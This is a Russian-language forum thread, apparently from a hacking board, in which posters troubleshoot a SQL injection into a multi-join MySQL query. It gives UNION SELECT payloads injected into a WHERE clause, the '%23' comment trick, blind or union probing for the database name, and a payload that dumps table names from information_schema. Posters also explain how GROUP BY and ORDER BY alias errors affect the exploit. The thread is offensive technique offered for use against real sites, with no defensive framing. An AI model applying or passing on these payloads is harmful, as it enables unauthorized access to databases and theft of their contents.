Сообщение от
PaCo
Попробуй продолжить запрос, например:
SELECT cats.*,
IF(subcats.id IS NULL, 'N', 'Y') AS has_subcats,
subcats.name AS subcat_name,
parentcat.name AS parentcat_name
FROM cats
LEFT JOIN cats AS subcats ON subcats.parent_id = cats.id
LEFT JOIN cats AS parentcat ON parentcat.id = cats.parent_id
WHERE 1 AND cats.id = -98145 union select 1,(select 1 from table limit 1),3 from cats GROUP BY cats.id
ORDER BY cats.order_fld,cats.name
правда в 5-как с альясами при union выдаст тебе что cats.id - нема такой таблички(Unknown column 'id' in 'order clause'):
Also, if a column to be sorted is aliased, the ORDER BY clause must refer to the alias, not the column name.
вы неверно уловили суть проблемы, во
1-ых. по за-альяс'иным колонкам сортирует только груп, который находится в строке с inj.(%23)
2. у group другая ошибка
3. group в отличии от ордер бай в таких запросах сортирует ближайшую выборку
4. +не уверен, но group (в отличии от order) выполняется до формирования столбцов из select, а значит не должен ссылатся на альясы
5. даже если бы проблема была в group, альяс или колонку можно было бы вписать во вторую выборку
немного практики- узнаем имя бд(блинд или +union select 1 from lala%23)
и составляем запрос в такoм дуxe:
SELECT cats.*,
IF(subcats.id IS NULL, 'N', 'Y') AS has_subcats,
subcats.name AS subcat_name,
parentcat.name AS parentcat_name
FROM cats
LEFT JOIN cats AS subcats ON subcats.parent_id = cats.id
LEFT JOIN cats AS parentcat ON parentcat.id = cats.parent_id
WHERE 1 AND cats.id = 145 union select cats.*,table_name,1,2 from имя_базы.cats,information_schema.tables
GROUP BY cats.id
ORDER BY cats.order_fld,cats.name
конкретно здесь работать не будет, потаму что поля в ордербае задаются в виде имя_табл.колонка (что не катит в двойных запросах)
но если в вашей многострочной скуле order by поле то этот способ вам поможет)